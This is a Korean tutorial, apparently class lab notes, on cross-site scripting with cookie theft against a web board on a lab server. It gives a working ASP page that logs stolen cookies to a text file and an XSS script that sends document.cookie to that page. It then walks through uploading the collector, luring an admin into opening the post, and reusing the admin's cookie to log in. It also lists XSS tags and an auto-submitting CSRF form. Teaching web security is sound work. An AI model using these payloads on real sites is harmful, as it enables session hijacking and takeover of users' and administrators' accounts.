XSS란?
공격자가 스크립트로 작성된 공격코드를 삽입, 이를 사용자가 실행 시 적절한 검증 없이 실행되어 피해자의 쿠키나 세션을 탈취, 악성사이트로 리다이렉션 시킬 수 있는 공격기법
*XSS(Cross Site Script) //JavaScript가 가능한 사이트면 XSS공격이 가능하다.
- 사용자로부터 입력 받은 값을 검증하지 않고 바로 실행해서 생기는 취약점
- XSS공격 시 함께 사용되는 코드에 따라 여러 가지 공격이 발생될 수 있다.
‘ XSS공격코드를 삽입해 사용자가 원치 않는 페이지로 이동
‘ 악성코드를 감염시킴
‘ 사용자의 정보 수집
XSS 기본개념
- 공격자가 스크립트로 작성된 공격코드 삽입, 이를 사용자가 실행시 별도 검증없이 실행되어 피해자의 쿠키나 세션을 탈취, 악성사이트로 리다이렉션 시킬 수 있는 공격기법
XSS + 쿠키 취득 및 재사용 =====>우리가 배울 내용
1) 쿠키 수집하는 페이지 코딩 (ASP, PHP, JSP)
getCookie.asp (MySite/board/getcookie.asp)
- server.Mappath //지금 동작하는 asp파일의 경로를 얻어오는 함수
(“getcookie.txt”) → MySite/board/getcookie.txt //getcookie.txt에 경로가 들어감
getCookie.asp Code //파라미터로 받은 쿠키값을 getCookie.txt라는 파일로 저장하는 역할
<%
testFile=server.MapPath("getCookie.txt") //MapPath = 동작하는 파일의 경로를 얻어옴
msg=request("msg") //msg의 값을 받아와서 msg라는 변수에 넣음 +피해자의 쿠키를 msg로 받음
Set fs = server.CreateObject("Scripting.FileSystemObject") //file처리 객체를 만듦 (fs)
Set thisfile = fs.OpenTextFile(testfile, 8, true, 0) //아래에 OpenTextFile함수 설명 참고
thisfile.writeline(msg) //줄 단위로 저장 - msg의 내용을
thisfile.close //파일 닫음
Set fs = Nothing
%>
> Set f = fs.OpenTextFile(파일이름, [입출력모드], [새파일작성여부], [형식]) <
fname(파일이름) : 열 파일의 이름
mode(입출력모드) : 파일을 여는 방법
1 = ForReading : 읽기만 가능
2 = ForWriting : 파일을 새로 씀(갱신)
8 = ForAppending : 기존 파일을 열고 마지막에 추가(덮어쓰기)
create(새 파일 작성여부) : 파일이 없을c경우 새로운 파일을 생성할지 설정 //없다면 만들고, 있다면 열어라
True - 생성 / false - 생성못함 : default값
format(형식) : 파일 양식을 설정
0 = ASCII로 파일을 연다. :default값 //txt mode
-1 = Unicode로 파일을 연다.
-2 = System default를 사용해 파일을 연다.
192.168.0.16/MySite/getCookie.asp?msg=피해자의 쿠키
ex) http://192.168.0.16/MySite/getCookie.asp?msg=test
getcookie.asp?msg=피해자쿠키
사용자의 쿠키를 얻어오기 (자바스크립트) : document.cookie
리다이렉션 : location.href=”사이트”
1) 게시판 XSS취약한지 확인
2) getCookie.asp 파일 업로드
3) getCookie.asp 동작경로 알아냄
//http://192.168.0.16/MySite/board/pds/getCookie.asp
4) getCookie.asp에 피해자의 쿠키를 전송되도록 XSS공격문 작성
<script>location.href="http://192.168.0.16/MySite/board/pds/getCookie.asp?msg="+document.cookie;</script>
공격가능 여부 테스트
아래처럼 입력 후 실행이 된다면 XSS공격이 가능한 페이지이다.
ex) <script>alert(“test”);</script>
IIS - 애플리케이션 툴 - 애플리케이션 툴 기본값 설정 - 32비트 애플리케이션 사용 True 변경
board_write_reg.asp code의 경로변경 → strDir = “D:\class\ASP\board\pds\”
→ pds는 첨부파일들이 저장되는 공간이다.
*공격자
일반 user로 로그인하여 게시글 작성
제목 : 관리자나 정보를 탈취할 유저가 확인하도록 유도하는 문구
내용 : test(나중에 공격스크립트로 수정)
파일첨부 : 쿠키값 획득을 위해 작성한 getcookie.asp 업로드
업로드된 파일의 경로 알아내기 (업로드 후 첨부파일인 코드를 우클릭으로 속성을 누르고 들어간다.)
→ http://192.168.0.16/MySite/board/pds/getCookie.asp 복사해두기
<script>http://192.168.0.16/MySite/board/pds/getCookie.asp?msg=피해자쿠키</script>
ex) <script>location.href="http://192.168.0.16/MySite/board/pds/getCookie.asp?msg="+document.cookie;</script>
*피해자 (admin)
권한이 많은 admin으로 로그인 후 게시글 클릭
아무 오류 메시지가 나타나지 않고, 브라우저 창의 상태표시줄에 완료표시(XSS공격 성공)
*공격자 (yhkim)
업로드한 경로와 같은 경로에 getcookie.txt파일이 생성되어있을 것이다.
들어가있는 쿠키값을 복사한다.
쿠키를 취득(웹통해서) 후에 cooxie 툴바를 이용해 피해자인 admin으로 로그인 성공
*XSS + 쿠키 취득 및 재사용
*XSS(Cross Site Scripting) 공격에 사용되는 태그 (CSRF : Cross Site Request Forgery)
<SCRIPT> : JavaScript 태그
<OBJECT data=”미디어경로”> : 미디어 파일 포함시키는 태그(오디오, 비디오)
<IFRAME src=”파일경로”> : 문서안에 다른 문서 포함시킬 때 사용
<IMG src=”이미지경로” width=”1” height=”1”> : 이미지 삽입하는 태그
<FORM> : 폼양식 태그
//열자마자 실행되게 하는 코드
<body onload=”document.myform.submit();”>
<form name=”myform” action=”receive.asp” > //method사용 가능
<input type=”hidden” name=”userid” value=”test”>
<input type=”hidden” name=”pwd” value=”test1234”>
</form>
</body>
========그외==========
<OBJECT>
<APPLET>
<META>
<DIV>